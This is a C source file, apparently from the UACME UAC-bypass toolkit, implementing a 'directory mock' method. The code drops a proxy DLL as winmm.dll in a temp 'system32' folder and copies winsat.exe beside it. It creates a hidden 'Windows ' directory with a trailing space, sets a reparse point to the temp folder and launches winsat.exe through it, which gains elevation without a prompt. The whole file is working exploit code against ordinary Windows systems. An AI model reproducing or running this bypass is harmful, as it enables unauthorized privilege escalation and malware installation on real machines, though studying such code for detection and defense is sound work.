UACME/Source/Akagi/methods/dwells.c

152 lines
4.1 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2018 - 2019
*
* TITLE: DWELLS.C
*
* VERSION: 3.17
*
* DATE: 18 Mar 2019
*
* David Wells based method.
*
* Original method URL:
* https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
/*
* ucmDirectoryMockMethod
*
* Purpose:
*
* UAC bypass abusing GetLongPathNameW behavior during AIS.
*
*/
NTSTATUS ucmDirectoryMockMethod(
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
HANDLE hFakeWindows = NULL;
UNICODE_STRING usDirectoryName;
OBJECT_ATTRIBUTES ObjectAttributes;
WCHAR szPayloadDir[MAX_PATH * 2];
WCHAR szSource[MAX_PATH * 2];
WCHAR szDest[MAX_PATH * 2];
do {
//
// Create destination dir "system32" in %temp%
//
_strcpy(szPayloadDir, g_ctx->szTempDirectory);
_strcat(szPayloadDir, L"system32\\");
if (!CreateDirectory(szPayloadDir, NULL)) {
if (GetLastError() != ERROR_ALREADY_EXISTS)
break;
}
//
// Drop fubuki to %temp%\system32 as winmm.dll
//
_strcpy(szDest, szPayloadDir);
_strcat(szDest, WINMM_DLL);
if (!supWriteBufferToFile(szDest, ProxyDll, ProxyDllSize))
break;
//
// Copy winsat to %temp%\system32
//
_strcpy(szSource, g_ctx->szSystemDirectory);
_strcat(szSource, WINSAT_EXE);
_strcpy(szDest, szPayloadDir);
_strcat(szDest, WINSAT_EXE);
if (!CopyFile(szSource, szDest, FALSE))
break;
//
// Fake root.
//
RtlSecureZeroMemory(szSource, sizeof(szSource));
szSource[0] = L'\\';
szSource[1] = L'?';
szSource[2] = L'?';
szSource[3] = L'\\';
_strncpy(&szSource[4], 4, g_ctx->szSystemRoot, 4);
_strcat(szSource, L"Windows ");
RtlInitUnicodeString(&usDirectoryName, szSource);
InitializeObjectAttributes(&ObjectAttributes, &usDirectoryName,
OBJ_CASE_INSENSITIVE, NULL, NULL);
if (!NT_SUCCESS(supCreateDirectory(
&hFakeWindows,
&ObjectAttributes,
FILE_SHARE_READ | FILE_SHARE_WRITE,
FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)))
{
break;
}
//
// Set reparse to %temp%.
//
_strcpy(szSource, L"\\??\\");
_strcat(szSource, g_ctx->szTempDirectory);
supSetMountPoint(
hFakeWindows,
szSource,
&szSource[4]);
//
// Run target application.
//
RtlSecureZeroMemory(&szSource, sizeof(szSource));
_strncpy(szSource, 4, g_ctx->szSystemRoot, 4);
_strcat(szSource, L"Windows \\system32\\");
_strcat(szSource, WINSAT_EXE);
if (supRunProcess(szSource, NULL))
MethodResult = STATUS_SUCCESS;
} while (FALSE);
//
// Cleanup.
//
if (hFakeWindows) {
//
// Remove reparse point.
//
supDeleteMountPoint(hFakeWindows);
NtClose(hFakeWindows);
//
// Remove directory.
//
RtlSecureZeroMemory(szSource, sizeof(szSource));
szSource[0] = L'\\';
szSource[1] = L'?';
szSource[2] = L'?';
szSource[3] = L'\\';
_strncpy(&szSource[4], 4, g_ctx->szSystemRoot, 4);
_strcat(szSource, L"Windows ");
RtlInitUnicodeString(&usDirectoryName, szSource);
InitializeObjectAttributes(&ObjectAttributes, &usDirectoryName,
OBJ_CASE_INSENSITIVE, NULL, NULL);
NtDeleteFile(&ObjectAttributes);
}
return MethodResult;
}